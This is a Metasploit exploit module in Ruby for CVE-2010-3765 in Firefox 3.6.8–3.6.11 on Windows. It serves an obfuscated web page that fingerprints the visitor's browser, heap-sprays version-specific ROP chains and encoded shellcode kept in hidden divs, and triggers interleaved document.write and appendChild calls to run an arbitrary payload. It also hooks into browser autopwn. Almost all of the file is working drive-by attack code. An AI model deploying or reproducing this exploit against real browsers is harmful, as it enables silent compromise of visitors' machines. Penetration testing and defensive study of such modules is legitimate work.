##
# $Id: mozilla_interleaved_write.rb 11796 2011-02-22 20:49:44Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::FF,
:ua_minver => "3.6.8",
:ua_maxver => "3.6.11",
:os_name => OperatingSystems::WINDOWS,
:javascript => true,
:rank => NormalRanking,
:vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Mozilla Firefox Interleaving document.write and appendChild Exploit',
'Description' => %q{
This module exploits a code execution vulnerability in Mozilla
Firefox caused by interleaved calls to document.write and appendChild.
This exploit is a metasploit port of the in-the-wild exploit.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown', # discovered in the wild
'scriptjunkie' # Metasploit module, functionality/portability fixes
],
'Version' => '$Revision: 11796 $',
'References' =>
[
['CVE', '2010-3765'],
['OSVDB', '68905'],
['BID', '15352'],
['URL', 'http://www.exploit-db.com/exploits/15352/'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=607222'],
['URL', 'http://www.mozilla.org/security/announce/2010/mfsa2010-73.html']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "",
},
'Targets' =>
[
# Tested against Firefox 3.6.8, 3.6.9, 3.6.10, and 3.6.11 on WinXP and Windows Server 2003
[ 'Firefox 3.6.8 - 3.6.11, Windows XP/Windows Server 2003',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 25 2010'
))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
def generate_html(payload)
enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
custom_js = %Q|
function check(){
var temp="";
var user=navigator.userAgent.toLowerCase();
var vara=user.indexOf("windows nt 6.1");
var varb=user.indexOf("windows nt 6.0");
var varc=user.indexOf("firefox/3.6.8");
var vard=user.indexOf("firefox/3.6.9");
var vare=user.indexOf("firefox/3.6.10");
var varf=user.indexOf("firefox/3.6.11");
if(vara==-1&&varb==-1&&varc!=-1&&vard==-1&&vare==-1&&varf==-1){
temp="8";
}
else if(vara==-1&&varb==-1&&varc==-1&&vard!=-1&&vare==-1&&varf==-1){
temp="9";
}
else if(vara==-1&&varb==-1&&varc==-1&&vard==-1&&vare!=-1&&varf==-1){
temp="10";
}
else if(vara==-1&&varb==-1&&varc==-1&&vard==-1&&vare==-1&&varf!=-1){
temp="11";
}
else {
return temp="0";
}
return temp;
}
function dedede(argsu){
var i;var sunb = "";
for (i = 0; i < argsu.length; i++){
sunb += String.fromCharCode(parseInt(argsu[i], 16));
}
return unescape(sunb);
}
function code(beastk){
var nop = "";
var len = beastk.length;
for (i = 0; i < len;) {
nop = nop + "m" + beastk.substring(i, i + 5);
i = i + 5;
}
nop = nop.split("m").toString();
var temp = new Array();
for (j = 0; j < nop.length; j++) {
if (nop.charCodeAt(j).toString(16) == "2c") {
temp.push("25");
}
else {
temp.push(nop.charCodeAt(j).toString(16));
}
}
return dedede(temp);
}
function getatts(str){
var cobj=document.createElement(str);
cobj.id="testcase";
document.body.appendChild(cobj);
var obj=document.getElementById("testcase");
var atts = new Array();
for(p in obj){
if(typeof(obj[p])=="string"){
atts.push(p);
}
}
document.body.removeChild(cobj);
return atts;
}
var chk=check();
var bk="mp.ojsyex5";
var array = new Array();
var ls = 0x100000-(bk.length*2+0x01020);
var retaddr ="";//////////////////////111111111111111111111111111111
if (chk == "0") {
location.href = "about:blank";
}
else {
if(chk=="8"){
retaddr=code("u0d0du0d0d");
}
if(chk=="9"){
retaddr=code("uef52u100a");
}
if(chk=="10"){
retaddr=code("ub8b7u1029");
}
if(chk=="11"){
retaddr=code("u4bc8u1000");
}
var ropstr = retaddr;
while (ropstr.length < (0x85750 - 0x1000) / 2) {
ropstr += retaddr
};
///////////////////////////////2222222222222222222
var sunb="";
var sun8inner = document.getElementById("sun8").innerHTML;
var sun9inner = document.getElementById("sun9").innerHTML;
var sun10inner = document.getElementById("sun10").innerHTML;
var sun11inner = document.getElementById("sun11").innerHTML;
var shellcodes = document.getElementById("suv").innerHTML;
if(chk=="8"){
sunb=sun8inner;
}
if(chk=="9"){
sunb=sun9inner;
}
if(chk=="10"){
sunb=sun10inner;
}
if(chk=="11"){
sunb=sun11inner;
}
ropstr += code(sunb + shellcodes);
for (u = 0; u < 8; u++) {
retaddr += retaddr;
}
while (ropstr.length < ls) {
ropstr += retaddr;
}
var lefthalf = ropstr.substring(0, ls / 2);
ropstr = "";
for (i = 0; i < 0x200; i++) {
array[i] = lefthalf + bk;
}
////////////////////////////////////333333333333
if(chk=="8"){
retaddr=code("ub8a7u1029");
}
if(chk=="9"){
retaddr=code("uab07u1006");
}
if(chk=="10"){
retaddr=code("u8247u1009");
}
if(chk=="11"){
retaddr=code("uf7e7u1017");
}
for (i = 0; i < 16; i++) {
retaddr += retaddr;
}
ropstr = retaddr;
while (ropstr.length < ls) {
ropstr += retaddr;
}
lefthalf = ropstr.substring(0, ls / 2);
ropstr = "";
for (i = 0x200; i < 0x500; i++) {
array[i] = lefthalf + bk;
}
var tags = new Array("audio", "a", "base");
for (inx = 0; inx < 0x8964; inx++)
for (i = 0; i < tags.length; i++) {
var atts = getatts(tags[i]);
for (j = 0; j < atts.length; j++) {
var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] + ">" + tags[i];
document.write(html);
}
}
}
|
opts = {
'Symbols' => {
'Variables' => %w{ atts temp vara varb varc vard vare varf argsu beastk nop tags retaddr
ropstr lefthalf bk sunb shellcodes sun8inner sun9inner sun10inner sun11inner array chk },
'Methods' => %w{ getatts code check dedede }
}
}
custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts).obfuscate()
return %Q|
<html>
<body>
<div style="visibility:hidden;width:0px;height:0px">
<div id=sun8>ub8acu1029u0d00u0d0du0d00u102du1000u0d00u102du1000u8710u1018ub288u1086u127cu1004udc24u1009u102du1000u0000u0000u1000u0000u1000u0000u0040u0000u1af1u1000u9090u0febu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u5b58u1889u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000ufb83u74ffu7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000u830bu04c0u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uf3ebue890u7be4u1005u2a49u1000u2a49u1000u2a49u1000u2a49u1000u1af1u1000uffecuffffu7be4u1005u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004u1734u1004udc24u1009</div>
<div id=sun9>u2794u1000uc288u1082u3e38u1000u6cd4u100bu1016u1000u0000u0000u1000u0000u1000u0000u0040u0000uce22u1003u9090u0FEBu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u5B58u1889u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFB83u74FFu9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003u830Bu04C0u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uF3EBuE890u9602u1001uc563u1000uc563u1000uc563u1000uc563u1000uce22u1003uFFECuFFFFu9602u1001u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u4c0eu1006u6cd4u100b</div>
<div id=sun10>uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029uB8B7u1029u20F0u1011u2288u1082u428au1000u7676u1016ub8b7u1029u0000u0000u1000u0000u1000u0000u0040u0000u9405u1003u9090u0FEBuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u5B58u1889uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFB83u74FFuE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003u830Bu04C0uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uF3EBuE890uE541u1001u0583u1001u0583u1001u0583u1001u0583u1001u9405u1003uFFECuFFFFuE541u1001u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u65a0u1006u7676u1016</div>
<div id=sun11>u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u83cau1000u0280u1083u3b5au1000u8ef4u100au4bc8u1000u0000u0000u1000u0000u1000u0000u0040u0000u11a1u1000u9090u0FEBu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u5B58u1889u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFB83u74FFu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u830Bu04C0u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uF3EBuE890u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFFECuFFFFu3500u1007u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u647eu1006u8ef4u100a</div>
<div id=suv>#{enc_code.split("%").join}uffffuffffuffffuffff</div>
</div>
<body>
<script type="text/javascript">
#{custom_js}
</script></body></html>
|
end
end
